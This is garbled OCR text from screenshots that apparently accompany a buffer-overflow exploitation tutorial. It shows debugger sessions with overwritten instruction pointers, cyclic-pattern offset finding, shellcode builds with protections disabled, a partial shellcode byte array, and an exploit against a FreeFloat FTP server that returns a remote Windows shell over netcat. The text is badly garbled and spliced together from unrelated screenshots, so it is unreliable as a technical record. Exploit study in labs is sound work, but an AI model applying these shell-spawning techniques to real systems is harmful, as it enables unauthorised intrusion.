7DEBO023 Fesl 08 06 TEST BYTE PTR DS: [ECKH4], &
7800z 74 08 JE SHORT ntdll.7DEBO0ZF
7DEBO0ZA EB BI1D0IOD  CALL ntdll.ZuTesthler:
7DEBOZF BB 01000000 MOV EAX,1

78003 C2 1000 RETN 10

780037 S0 op

7DEBO0SE  8DB424 DCO20000 LEA EAX,DWORD TR S5:[58+23C)
7DES003F  64:8B0D 0000000(MOV ECK, DHORD PTR ¥S:[0]
7DEBO0SG BA 2000887D MOV EDX,ntdll.7DEB0Z0
7DEBO0SE 8308 MOV DHORD PTR Ds: [EAX],5CK
7DEBO0SD B350 04 MOV DHORD PTR Ds: [EAX+4],EDX
7DES00S0 64:A3 00000000 MOV DHORD PTR FS:[0],EAX
IDEB00SE 58 POP EAX
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Registers
0000000000005675
0000800080000000
0006800080000080
0000800000001234
00067 Feeccc1720
0000800080060000
0000800080000000
0008000060000000
0006800000000060
0000800080000000
0000800080000000
0008000060000000

Registers | Bookmarks
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VirtualBox - Network

B8 Q0 = &

General Input  Update  Language  Display Extensions  Proxy

Host-only Networks:

vboxnet0

Adapter:  Manually confiqured
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registers
RAX: 0X10010010

REX: 0x11010110

RCX: 00

RDX: OX0

RST: OX0

RDT: ©X0

REP: OXO
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8032| ox7fffffffdsss
0048| Ox7FFFFFFrdag0 --> 6x8
0048| Ox7FFFFFF7d998 --> X0
0056] ox7ffiffffdoas --> 68
I - N . y - y -
Legend: code, data, rodata, value
Stopped reason: © 1 it
0x00007ffff7a4bc37 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../npt1/sysdeps/unix/sysv/linux/raise.
gdb-peda$

> Ox0

No such file or directory.
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oxe
Ox7ffff{ffdfag --> 01400040 (<exit_ten>: mov  eax,®Ox3c)
Coinonn (<additions: add  r8,r9)

ox4

ox2

ox0

0x0

ox0

ox0

ox0

0x0
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S e e o e S |
0000| Ox7fffffffdefo

0x0
0008| OX7TFfffffdefs OuTffirTasetas (<__libc_start_main+245>: mov e
di,eax)
0016 Ox7fFfffffdfen ox0
0024] Ox7fffffffdfes OX7FFFFFFFdfds --> 0x7fFFFffe3se ("/home/stack/buffer-|
overflow/exec/exec")
8032| Ox7fFFffffdfi0 0x200000000
0040| OX7FFFFfffdfis ©x4606a9 (<main>: push  rbp)
8048| Ox7fFFFFffdf20 ox0
0056 Ox7fFfffffdf2s 0x775844e2069c12ca

e

Legend: code, data, rodata, value

EESE s o RN S —

Breakpoint 1, 0x00000000004606ad in main ()
gdb-pedas c

Continuing.

Shellcode Length: 32

process 4326 is executing new program: /bin/dash

A
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$ nc -1p 4321
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2017 Computer Media Corporation. ALL rights reserved

C:\Users\test\vulnservers(]





images/00057.jpeg
_EXIT(2) Linux Programmer's Manual _EXIT(2

NAME
_exit, _Exit - terminate the calling process

SYNOPSIS
#include <unistd.h>

void _exit(int status);

#include <stdlib.h>

void _Exit(int status);

Feature Test Macro Requirements for glibc (see feature_test_macros(7)

_Exit():
_IS0C99 SOURCE || _POSIX C_SOURCE >= 200112L
DESCRIPTION
The function _exit() terminates the calling process "immediately”. Any open file descriptor

belonging to the process are closed. Any children of the process are inherited by init(1) (or by
the nearest "subreaper” process as defined through the use of the prctl(2) PR_SET_CHILD_SUBREAPER
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# cat /usr/include/x86_64-linux-gnu/asn/unistd_64.h | grep bind
#define _ NR bind 49
#define __NR_mbind 237

#
#0
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code: 1
0x77fff7aa4f97 < 10 puts+7>: push  rbp
0x77fff7aa4f98 < 10 puts+8>: push  rbx
0x77fff7aa4f99 < 10 puts+9>: sub  rsp,0x8
=> 0x7fTff7aadf9d < 10 puts+13: call  ox7ffff7abc6s0 <strien>
0x77fff7aad4fa2 < 10 puts+18 mov  rbp,QWORD PTR [rip+0x32f73f] # Ox7ff7dd46es <stdout>
0x77fff7aad4fas < 10 puts+2s mov  rbx,rax
ox7ffff7aadfac < 10 puts+28 mov  eax,DWORD PTR [rbp+0x0
ox7ffff7aad4faf < 10 puts+31>: mov  rdi,rbp
No argument
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# gcc -fno-stack-protector -z execstack bind-shell.c
#

# ./a.out

shellcode Length: 162
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— @  127.0.01:8080 5] Per-host
Edit
Remove. >
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odb-pedat run $(cat input.txt)

starting program: /home/stack/buffer-overflow/nx/nx $(cat input.txt)
process 7725 is executing new program: /bin/dash

$1s

[New process 7732]

process 7732 is executing new program: /bin/ls

explot.py input.txt nx nx.c peda-session-ls.txt peda-session-nx.txt
$ [Inferior 2 (process 7732) exited normally]

Warning: not running or target is remote

gdb-pedas I
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Access violation when executing [396F43381 - use Shift+F?/F8/F9 to pass exception to program
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# gcc -v

Using built-in specs.

COLLECT_GCC=gcc

COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-1linux-gnu/7/1to-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none

OFFLOAD_TARGET_DEFAULT=1

Target: x86_64-linux-gnu

Configured with: ../src/configure -v --with-pkgversion='Debian 7.2.0-1' --with-b
ugurl=file:///usr/share/doc/gcc-7/README.Bugs --enable-languages=c,ada,c++,go,br
ig,d,fortran,objc,obj-c++ --prefix=/usr --with-gcc-major-version-only --program-
suffix=-7 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-bui
ld-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --
libdir=/usr/1lib --enable-nls with-sysroot=/ --enable-clocale=gnu --enable-libs
tdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enabl
e-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --en
able-default-pie --with-system-zlib --with-target-system-zlib --enable-objc-gc=a
uto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=mé4 --wit
h-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offl
oad-targets=nvptx-none --without-cuda-driver --enable-checking=release --build=x
86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu

Thread model: posix

gcc version 7.2.0 (Debian 7.2.0-1)

A






images/00330.jpeg
[RoreTere =
FreeFloat FTP Server

Port No

eald Unload






images/00345.jpeg
#
# ./pattern offset.rb -q 37684136 -1 500
[*] Exact match at offset 230

# [
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#nc -lp 1234
cat /etc/issue
Ubuntu 14.04.5 LTS \n \1

al
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R11: 0x0
R12: 0xO
R13: 0x0
Rl4: 0x0
R15: 0x0

EFLAGS: 8x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[ code

0x40007c:  add  BYTE PTR [rax],al

0x40007e: add BYTE PTR [rax],al
0x400080 imp 0x4000al <string>
=> 0x400082 pop  rsi
0x400083 mov al,ex1
0x400085 <code+3>:  xor  rdi,rdi
0x400088 <code+6>: add  rdi,oxl
0x40008c <code+10>: xor  rdx,rdx
stack
0000 0x71ffffel8s --> 0 10000 (<hello_world>: push

0008| Ox7fffffffel90 --> Ox1

0x676C6c65)
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stack@ubuntu:~$ cat /proc/5271/maps
00400000-0040b000 r-Xp 00000000 08:01 262176

00602000-0060bO0 r--p 0000a0E0 O

1 262170

0060b0O0-0060cO00 rw-p 0000bO0 08:01 262170

013f7000-01418000 rw-p 00000000 O

7f2b85c32000-7F2b86314000
7f2b86314000-7F2b864ce000
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7f2b866d4000-7F2b866d9000
7f2b866d9000-7F2b866FCO00
7f2b868e0000-72b868€3000
7f2b868F9000-7F2b868FbO0O
7f2b868Fb000-7F2b868FCO00
7f2b868FC000-7F2b868Fd000
7f2b868Fd000-7F2b868Fe000
7ffcaq580000-7Ffcad5a1000
7ffcaq5c3000-7ffcad5c5000
7ffcad5c5000-7ffcadsc7000

r-xp
FFFFFFFFFf600000- FFFFFFFFff601000 r-xp 00000000 00:00 O
stack@ubuntu:~$

0 0
00000000
00000000
001ba0oe
001ba00e
001be000
00000000
00000000
00000000
00000000
00022000
00023000
00000000
00000000
00000000
00000000

08:01
08:01
08:01
08:01
08:01
00:00
08:01
00:00
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08:01
08:01
00:00
00:00
00:00
00:00

136418
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530854
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)
530830
)
)
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530830
0
0
0
)

/bin/cat
/bin/cat
/bin/cat
[heap]
Jusr/1ib/1
/1ib/x86_6:
/1ib/x86_6:
/J1ib/x86_6:
/1ib/x86_6:

/1ib/x86_6:

/1ib/x86_6:
/1ib/x86_6:

[stack]
[vvar]
[vdso]
[vsyscall]
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0x4000aa:  and  BYTE
ox4000ac: add  BYTE
0x4000ae:  add  BYTE

0x4000b0 < start>:  mov
0x4000b5 <_start+5>: mov
0x4000ba < start+10>
0x4000C4 <_start+20>
0x4000c9 < _start+25>

movabs rsi,0x6000d8

mo
sy

v
s

c

a

-code
PTR [rax],al
PTR [rax],al
PTR [rax],al
eax, 0x1
edi,0x1

1

edx, 6xc
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k- = & = &

0000| Ox7FTffffelan
0008| Ox7Tffffffelas
0016| Ox7FFTffffelbn
0024 0x7FFFifffelbs
1:50=30;43: ca
0032 Ox7FFFFfffel
0848| Ox7Ffffffelcs
0048| Ox7FTffffelds
0056] ox7Tffffffelds

> ox1
> Ox7ffFffffedae
> 0x0

> Ox7ffFFfffe4bs ("LS_COLORS= di=01;34:1n=01;36:mh=
30;41:tw=30;42: 01 7:44:ex=01;32:%. tar=01;31:*. tg:
0x7F7777i7ea71 ("XDG_MENU_PREFIX=gnome-"
Ox7FFFffffeass ("_=/usr/bin/gdb
Ox7FfFfffeas7 ("LANG=en_US.UTF
Ox7F7Ffffeans ("GDM_LANG=en_US.UTF-8")

> 0x4c006T6c6c65682f ('/hello’)
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# objdump -D -M intel hello-world

hello-world: file format elf64-x86-64

Disassembly of section .text:

00000000004000
4000b! mov  eax,ox1
4000b5: mov  edi,ox1
4000b: movabs rsi,ox6000ds
4000c:
4000c: mov edx,0xc
4000c: syscall
4000cb : mov  eax,0x3c
40004 mov  edi,ox1

4000d5: syscall
Disassembly of section .data:

00000000006000(/8 < GLOSAL_OFFSET TABLE|>:

60004 65 6¢ 6C 6F push  Ox6f6c6c65

6000dd : 77 of and  BYTE PTR [rdi+ox6f],dh
6000e! 6c ib 60014e <_end+0x66>
6000¢: s

6000e: .byte oxa

#
#0
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: ©x424242424242 ('BBBBBB')
RS : Ox7ffff7dd4es0 --> Bx0

: Ox7FFFf7deas3o (<_dl_finis: push  rbp)
R10: OX7FFFfFffdaso --> Ox8
R11: Ox7FFFf7b8d360 --> OxFff24a90fff24a80

R12: 0x400490 (<_starts: xor  ebp,ebp)
R13: ox7fffffffdebe --> 6x2

R14: Ox0

R15: @x0

EFLAGS: ©x108206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow
)
[- B TR TR EC" 1!
Invalid $PL address: 0x424242424242

[ - -----stack , 1
0006 | Ox7FFTFFFrddbo --> 6x7FFFTTrfdebs ~-» OX7FFFrre21a (" /home/stack/buffer-
overflow/exploit-development/buffer")

0008 0x777F77ddbd --> 0x200400490

e16| OX7FFFFfffddce --> OX7FFFffffdebe --> 6x2

0024| 0x77FFFFfddcs --> 0x100000000

0832| OX7FFFFffdddo --> 6x0

0040| 0x7FFFFFffddds --> 0x777 777236745 (<__libc_start_main+245>: mov e
di,eax)

0048| Ox7fffffffdded --> 6x0

0856| Ox7fFFffffddes --> Ox7FffFfffdebs --> Ox7FFfffffe21a ("/home/stack/buffer
overflow/exploit- developmenc/buffsr")

[-ooooe- e - - - - - 1

Legend: code, data, rodata, value
Stopped reason: il
©x0000424242424242 in 22 ()
gdb-pedas i
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unsigned char buf(] =
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X4C\X03\X93\X60\xbF\X5d\xd4\x47\x20\x28\x2C\xb4\xdd\x2b\xeb
XCB\X39\xb9\xe FAXG1\XCONX19\XCb\X90\x1e\xF FAX9B\XIF\xeb\x8b
XC6\XB3\xea\X5B\X7d\XbF\X67\X5F\X51\X49\X33\x44\X75\ X1 1\ xe 7"
“\xe5\x2C\xFF\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\ x64\ x1a"
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# nc 192.168.129.128 21
220 FreeFloat Ftp Server (Version 1.00).
USER anonymous

331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in
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gdb-peda$ p system
$1 = {<text variable, no debug info>} Ox7ffff7a57590 <__libc_system>
odb-pedas I
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pattern_offset -- search for offset of a value in cyclic pattern
pattern_patch -- Write a cyclic pattern to memory

pattern_search -- Search a cyclic pattern in registers and memory
payload -- Generate various type of ROP payload using ret2plt

pdisass -- Format output of gdb disassemble command with colors
pltbreak -- Set breakpoint at PLT functions match name regex

procinfo -- Display various info from /proc/pid/

profile -- Simple profiling to count executed instructions in the program
pyhelp -- wrapper for python built-in help

readelf -- Get headers information from an ELF file

refsearch -- Search for all references to a value in memory ranges
reload -- Reload PEDA sources, keep current options untouch

ropgadget -- Get common ROP gadgets of binary or library

ropsearch -- Search for ROP gadgets in memory

searchmem -- Search for a pattern in memory; support regex search
session -- Save/restore a working gdb session to file as a script

set -- Set various PEDA options and other settings

sgrep -- Search for full strings contain the given pattern

shellcode -- Generate or download common shellcodes.

show -- Show various PEDA options and other settings

skeleton -- Generate python exploit code template

skipi -- Skip execution of next count instructions

snapshot -- Save/restore process's snapshot to/from file

start -- Start debugged program and stop at most convenient entry
stepuntil -- Step until a desired instruction in specific memory range
strings -- Display printable strings in memory

substr -- Search for substrings of a given string/number in memory
telescope -- Display memory content at an address with smart dereferences
tracecall -- Trace function calls made by the program

traceinst -- Trace specific instructions executed by the program
unptrace -- Disable anti-ptrace detection

utils -- Miscelaneous utilities from utils module

vmmap -- Get virtual mapping address ranges of section(s) in debugged process
waitfor -- Try to attach to new forked process; mimic "attach -waitfor"
xinfo -- Display detail information of address/registers

xormem -- XOR a memory region with a key

xprint -- Extra support to GDB's print command

xrefs -- search for all call/data access references to a function/variable





images/00169.jpeg
Starthere X | buffer.c X

it #include <stdic.h>

2 #include <string.n>
s

Pt

s void copytobuffer (char* imput)

B

5 char buffer(15];

e strepy (buffer, input) ;

s

10 int main (int arge, char *argv(])
11 i

12 int local variable = 1;

13 copytobutter (argv(i]) ;

1a return 0;

15 B





images/00381.gif
75033CEB
75071000
75091EC7
75031000
7508A5D8|
7508Caca|
75001557
75241000
75285033
7528AC33
752a3808|
75285883,
75285147
752E1000]
7531878C|
75331000
75342118/
75351000
753mB381
75410000
75461000

7548598
754E9225
75489287
75659038
7570278C|
75702708
75816152
75623518
76081000
760E4EEE
76120000

2ep £5P
oD

24p ESP

pro

e ESP

e EsP

e EsP

vov womp pra Ds: =oX+Ds)
e ESP

e EsP

e EsP

e EsP

e £

ENTER 668,77

e EsP

200 2z, 23

e ESP

LOOPD SHORT mavers.753t

e ESP

SBB BYTE PTR DS:(EDXI,!

anc svr= pra ps: (zcx+o7

e ESP
e EsP
e EsP
e EsP
e EsP
e EsP
e EsP
e EsP
STOS DWORD PTR =S [EDT)|
24p ESP

sBB DL.BE

(Taicial

(Taicial

(Taicial

(Taicial

(Taicial

(Taicial

(Taicial
(Tnicial

=

=

=

=

cro
cro

selection)

selection)

selection)

selection)

selection)

selection)

selection)
selection)

(Tnivial CPU selection)

(Initisl CPU selaction)

C: \Windows\syswow64\SspiCli.dll
C:\Windows\sysuowsa\CFGMERS2 11
G- \Windows\ syswowE4\CGMGRS2 d11
C:\Windows\syswows4\SETURRRT 11
Flindows\ syswowE4\ SETUBART d11
- \Windows\ syswow64\ SETURAPT d11
Flindows\ syswowE4\ SETUBART d11
C:\Windows\syswows4\ADVARTS2 11
Flindows\ syswowE4\ADVABIS2 d11
G- \Windows\ syswowE4\ADVAPTS2 d11
Flindows\ syswowE4\ADVABIS2 d11
G- \Windows\ syswowE4\ADVAPTS2 d11
Flindows\ syswowE4\ADVARTS2 d11
C:\Windows\syswows4\KERNELEASE 11
-\ ndows\ syswow64\ KERNELBASE _d11
C:\Windows\SysHOE4\ sechost 11
G- \Wlindows\SysHONEe\ sechost _d11
C:\Windous\sysuowsd\msvers a1l
C:\Windows\ syswonEd\msvers_d1l
C:\Windous\systens2\ 111432 DLL.
C:\Windous\sysuous4\SHELLS2 11

Flindows\ syswowE4\SHELLS2 d11
- \Mindows\ syswow64\SHELL32 d11
Flindows\ syswowE4\SHELLS2 d11
G- \Wlindows\ syswowE4\SHELLS2 d11
Flindows\ syswowE4\SHELLS2 d11

G- \Wlindows\ syswowE4\SHELLS2 d11
Flindows\ syswowE4\SHELLS2 d11

G- \Wlindows\ syswowE4\SHELLS2 d11
C:\Windows\syswows4\SHIWART 11
Wi ndows\ syswowE4\ SHLAART d11
C:\Windows\ svawows4\USERI2 - 611






images/00131.gif
CF

Not set





images/00219.gif
#
# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect
#define _ NR_connect 42

#]





images/00338.jpeg
XIRERNY: N e
776F0038  BDB4Z4 DCOZ0000 L

776F003F  64:8B0D 0000000(MO
776F0046  BA 20006E77 o

PIR s8: (zsp+2DC
D PTR FS:10]

o0s0a008
00308010
o0s0a018
00308020
o0s0a0z8
00308030
o0s0a038
00308040
00308018

[16:26:511 Thread BOODBICH terminated, exit code 1





images/00252.jpeg
-

Lookin: | || My Documerts - « BB
T— Datemodiied  Type

buter 1013720071144 Appiication

[GrE 11/16/2017729PM_ Appliction

——

O

Flonane:  [ofer2 Open

Fies oftype:  [Exeoutable fle (exe) < Cancel

Argunents [sassssssssaaaaasasasssnseabh

[E]






images/00380.jpeg
Goto »

Thread ,
Follow in Dump »
f scachfor 3 Name (label) in curent module ~ CtrleN
Find references to > Nameinall modules
Vel > | Al Commandsin all modules
Copyto executable > | Allsequences n ll modules
Analysis »
Command CuleF
Bopkrark " sequence of commands Cules
Appearance > Constant
Binary sting cules
fiex aump ascrr Next Curel

Altemodube cals





images/00410.jpeg
stack 2728 0.6 0.0 11416 700 ? s 02:01 0:00 /bin/cat
stack 5271 ©.0 0.0 11416 700 pts/0 S+ ©7:39  0:00 cat
stack 5273 ©.0 0.2 15948 2212 pts/4 S+ ©7:39 ©:00 grep --color





images/00174.jpeg
[i1:38:211 Process terminated, exit code ©





images/00268.jpeg
G02572a4 | 00000000
oozerzas | 7ErpE000

oozerzac | oossimms

00267280 | 00267ESC ab(-

o0zerzas | oooooooo

oozerzse | oozerrcs Pointer to next SEH record

oozerzac | err7acos SE hendler

00zerECo | AD34s0DA G-

002852C3 | FEEFEEFE by

oozerzca Loozerznc tp(-

002BFECC  GFFG36EE »650 RETURN to mever:.GFFG36EE from mever:.GFFE32CE
0028FED0 00000000

o0zeFEDs 00000000

oozerEpe 00000000

0028FEDC 0026FERC Gb(

|oozerszo ooso1s7D ye. Enery msaress
o0zerEEs 00000000

oozerEse e1elelel

oozeFEEC 61616161

oozeFER0 61616161

oozeFEFs 61616161

oozerEre 6161616l

oozeFERC 61616161

0028%%00  00550EDA T

002804 00401820 ale. buffer? 00401850

0026FF08 00267598 g (.

00287F0C | 0040153E >6. RETURN to bufferz 004013SE from bufferz 004012C0
0028¥F10 | 00401820 a6 burrerz 00401850

0028¥¥14 | 00852810 B+ ASCIT 22,"C:\Users\vesc\Documencs\butfer? ex"






images/00346.jpeg
00308020
o0s0a0z8
00308030
o0s0a038
00308040
o0s0a0s8
00308050
o0s0a0s8
00308060
o0s0a068
00308070
00308078
o0s0a080
o0s0a0e8
00308030

[17:39:381 Access violation when executing [424242421





images/00239.jpeg
0cbopedas print letsprint
51 = {<text variable, no debug info>} 0x4005e3 <letsprint>
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# gdb ./hello

GNU gdb (Debian 7.12-6) 7.12..20161007-git

Copyright (C) 2016 Free Software Foundation, Inc

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it

There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and "show warranty” for details

This GDB was configured as "x86_64-linux-gnu"

Type "show configuration” for configuration details

For bug reporting instructions, please see
<http://www.gnu.org/software/gdb/bugs/>

Find the GDB manual and other documentation resources online at
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"
Reading symbols from ./hello...(no debugging symbols found)
gdb-pedas [|

done.
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stack@ubuntu:~$ ./buffer aaaaaaaaaaaaasasaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
stack@ubuntu:~$
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# objdump -D -M intel hello-world

hello-worl

file format elf64-x86-64

Disassembly of section .text:

©0000000004000b0

- start>:

40000 : Ibo 01 mov_al,ex1 |
4000b bf 01 60 00 06 mov  edi,oxl
4000b 48 be d4 00 60 00 00  movabs rsi,0x6000d4
4000be: 00 00 60

4000c1: ba oc 00 00 00 mov edx,0xc
4000c6 of 05 syscall

4000c8: b8 3c 00 00 00 mov  eax,0x3c
4000cd: bf 01 00 00 00 mov  edi,ox1
400042 of 05 syscall

Disassembly of section .data:

60000000006000d4 <hello_world:

6000d4 : 68 65 6C 6C

push  Ox6f6c6c65

0000000000600008 < GLOBAL_OFFSET TABLE >:

600008 of
600009 20 77 6f
6000dc: 72 6c
6000de : 64
600007 : 0a

outs  dx,DWORD PTR ds:[rsi]
and BYTE PTR [rdi+ex6f],dh

ib 60014a < bss_start+ex6a>
s
.byte oxa
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00801283 . C70423 010000(MOV DWORD PTR SS:(ESPI,1

00801283 FFLS 04614000 CALL DHORD PTR DS:[<msvert._set_app_t) msvert._set_app_type
00801250 . EB GBFDFFFF  CALL buffer3.00401000

00101255 _ 807426 00 LEA EST,DWORD PTR DS:[EST]

00401255 _ 8DBC27 00000O(LEA EDT,DHORD PTR DS: [EDT]

0001230 | B3EC 1C suB Esp,1C

00401233 70424 020000(MOV DWORD STR SS:(2SP],2

00801233 _ FFLS 04614000 CALL DHORD PTR DS:[<msvert._set_app_t: msvert._set_app_ctype
008012B0 . =8 4BFDFFFF  CALL buffer3.00401000

00801285 . 87426 00 1EA EST,DWORD PTR DS:[EST]

00401285 _ 8DBC27 000000(LEA EDT,DHORD PTR DS: [EDT]
004012C0 $ AL 1C614000 MOV EAX,DHORD PTR DS: [<amsvert.atexit>]

o0s012s | FrEO 25 EAX
ooso12c7  esEe o =s1,551

004012C3 . 8DBC27 000000(LEA EDT,DHORD PTR DS: [EDT]

00101200 AL 10614000 MOV EAX,DHORD PTR DS:[<imsvert._onexits:
0001205 . FrEO 20 EAX

o0s01207 S0 xop

oosozoe  s0 xop

o0s012ps S0 xop

ooso1zba S0 xop

ooso1zpB S0 xop

ooso1zoc  s0 xop

ooso1zop S0 xop

ooso1zpE S0 xop

o0s01zDF S0 xop

00101250 $ AL 0C204000 MOV EAX,DWORD PTR DS:[40200C]
004012ES . 85CO TEST EAX, EAX
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stack@ubuntu:~$ ./exec $(cat input.txt)
Shellcode Length: 32

s

$ cat [etc/issue

Ubuntu 14.04.5 LTS \n \1

$1s
exec  exploit.py peda-session-cat.txt peda-session-exec.txt
exec.c 1input.txt peda-session-dash.txt

$
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Python 3.6.4rcl (default, Dec 6 2017, 10:08:29
[6CC 7.2.0] on linux

Type "help”, "copyright”, "credits” or "license” for more information
>>>

>>> fuzz = 'A'*100

>>> fuzz

' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
AAAAAAAAAAAAAAAAAAAAA '
oo [
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ox7ffff7a4bc3f
ox7ffff7adbcal
ox7ffff7a4bcas

<
<
<
<
<
<

__GI_raise+d5>:
__GI_raise+48>:
__GI_raise+53>:
_GI_raise+55>:
_GI_raise+61>:
__GI_raise+63>:
__GI_raise+65>:
__GI_raise+72>:

-code-
movsxd rdi,ecx

mov  eax,Oxea

syscall

cmp  rax,OXFFFFFFFFFFFffoon

ja ox7fFff7adbcsd <_GI_raiser93>
repz ret

nop  DWORD PTR [rax+0x0]

test  ecx,ecx
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#

# gcc -fno-stack-protector -z execstack hello-world.c
#

# ./a.out

Shellcode Length: 50

Hello World

«1





images/00215.gif
#
# nc localhost 1234

cat /etc/issue
Kali GNU/Linux Rolling \n \l

J





images/00029.jpeg
Code segment

Stack segment

A 4

Code

Data segment

A 4

Stack

E segment

Data

F segment

Extra data

G segment

v

Extra data

A 4

Extra data






images/00144.jpeg
eda” subcommands, type the subcommand to invoke it:
aslr -- Show/set ASLR setting of GDB

asmsearch -- Search for ASM instructions in memory

assemble -- On the fly assemble and execute instructions using NASH

checksec -- Check for various security options of binary

cmpmem -- Compare content of a memory region with a file

context -- Display various information of current execution context
context_code -- Display nearby disassembly at $PC of current execution context
context_register -- Display register information of current execution context
context_stack -- Display stack of current execution context

crashdump -- Display crashdump info and save to file

deactive -- Bypass a function by ignoring its execution (eg sleep/alarm)
distance -- Calculate distance between two addresses

dumpargs -- Display arguments passed to a function when stopped at a call instruction
dumpmem -- Dump content of a memory region to raw binary file

dumprop -- Dump all ROP gadgets in specific memory range

eflags -- Display/set/clear/toggle value of eflags register
elfheader -- Get headers information from debugged ELF file

elfsymbol -- Get non-debugging symbol information from an ELF file
gennop -- Generate abitrary length NOP sled using given characters

getfile -- Get exec filename of current debugged process

getpid -- Get PID of current debugged process

goto -- Continue execution at an address

help -- Print the usage manual for PEDA commands

hexdump -- Display hex/ascii dump of data in memory

hexprint -- Display hexified of data in memory

jmpcall -- Search for JMP/CALL instructions in memory

loadmem -- Load contents of a raw binary file to memory

lookup -- Search for all addresses/references to addresses which belong to a memory range
nearpc -- Disassemble instructions nearby current PC or given address
nextcall -- Step until next 'call' instruction in specific memory range
nextjmp -- Step until next 'j*' instruction in specific memory range
nxtest -- Perform real NX test to see if it is enabled/supported by 0S
patch -- Patch memory start at an address with string/hexstring/int
pattern -- Generate, search, or write a cyclic pattern to memory
pattern_arg -- Set argument list with cyclic pattern

pattern_create -- Generate a cyclic pattern

pattern env -- Set environment variable with a cyclic pattern
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cdbopedat print shell_pwn
$1 = {<text variable, no debug info>} @x46060d <shell_pwn>
gdb-pedas |
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Ox7ffFfFffddss: 0x41386941
gdb-pedas [l
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# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept
#define _ NR accept 43

#define _NR accept4 288

#[]
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# ./hello-world
hello world

#

# echo $?

1
#[
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stack@ubuntu:~$ gcc -fno-stack-protector -z execstack execve.c
stack@ubuntu:~$

stack@ubuntu:~$ ./a.out

Shellcode Length: 32

s
3 |
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0x77fTf7aa4f98 < 10 puts+s:
0x77fTf7aa4f99 < 10 puts+9>:
0x77fff7aa4fod < 10 puts+13>

=> 0x7ffff7aadfaz < 10 _puts+18>: mov  rbp,QWORD PTR [rip+0x32f73f] # Ox7fff7dd4ces <stdout>
0x7ffff7aad4fad < 10 puts+25>: mov  rbx,rax
ox7ffff7aadfac < 10 puts+28>: mov  eax,DWORD PTR [rbp+0x0

ox7ffff7aad4faf < 10 puts+31>
ox7ffff7aadfb2 < 10 puts+3d>

mov  rdi,rbp
and eax, 0x8000
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coear. [ [ERE pren
Advanced | | server passord:

Server Control Port:
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# python exploit.py

#

# nc 192.168.129.128 4321

Microsoft windows [Version 6.1.7601

Copyright (c) 2017 Computer Media Corporation. ALl rights reserved

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Bluetooth Network Connection

Media State .

.. .. ....:Media disconnected
Connection-specific DNS Suffix

Ethernet adapter Local Area Connection

Connection-specific DNS Suffix . : localdomain

Link-local IPv6 Address feB0: :2dc0:564a:e448: F197%11
IPv4 Address. 192.168.129.128

Subnet Mask . 255.255.255.0

Default Gateway .

C:\Windows\system32[]
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#
# cat /usr/include/x86_64-linux-gnu/asm/unistd 64.h | grep execve
#define _ NR execve 59

#define _NR execveat 322

# 0
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opyright (o> 2017 Computer Hedia Corporation. A1l rights reserved.
\Users\test>ipconfig

indous IP Configuration

thernet adapter Bluetooth Network Connectior

Media State . . . . . . . . . .. : Media disconnected
Connection-specific DN§ Suffix’ .

thernet adapter Local Area Connection:

Connection-specific DNS Suffix localdomain

Link-local IPué Address . . . . £080::2dc0:564a0448 £ 198711
IPud Address. . . - . . . . . . 192.168.129.128

Subnet Mask . . . . ... ... 255.255.255.0

Default Gateway - - - . . . .

S\Users\test>
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registers
RAX: 0X1101101

REX: ©x11010110

RCX: 0X0

RDX: ©X0

RST: OX0

RDI: ©x0

REP: X0
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00hpedss set disassembly-flavor intel
S0 oot break main

Breakpoint 1 at 0x63e

0pcia disassemble main

Dump of assembler code for function main:

©X000000000000063a <+0>: push  rbp
©x000000000000063b mov  rbp,rsp
9X000000000000063¢ lea  rdi,[rip+0xof
0X0000000000000645 call  0x510 <puts@plt>
©X000000000000064a mov  eax,ox0
©x000000000000064 pop  rbp
©X0000000000000650 ret

End of assembler dump.
b - pedas

# ox6ed
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Lo L= ez et e b b b b
Invalid $PC address: 0x6161

[-- -- -- - ----stack- -- -- -- -
0000 0x7fFfffffdedo --> Ox7FFFFFffdfds --> Ox7FFFFfffe332 ("/home/stack/buffer-|
overflow/another /buffer")

0088| OX7FFFffffdeds -
0016] 6x7fffffffdeeo -
0024] Ox7fFfffffdees -
0032| Ox7fffffffdefo -
0040| OX7FFFFFffdefs -
di,eax)

0048| Ox7FFFFFFFdfoe --> Ox0

0056] Ox7FFFFFffdfos --> Ox7FFFFFffdfds --> Ox7FFFFFffe332 ("/home/stack/buffer
overflow/another /buffer")

> 0x2004004d0
> OX7TFFFFFFFdfde --> Bx2
> 8x100000000

0x0
OX7TETT7a0TAs (<_libe_start_main+245>: mov e

v

Legend: code, data, rodata, value
Stopped reason: - l.ill
6x0000000000006161 in 2? ()
gdb-pedas |
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# ./pattern create.rb -1 5000

AaAalAa2Aa3AadAasAacAa7AaBAaIAbOADIAD2AD3AD4AbSAD6ADTADBADIACOACIAC
AC3AC4ACSACGACTACBACIAdOAd1Ad2Ad3Ad4AdSAd6Ad7AdBAdIACOAC 1Ae2A 3A4ACS
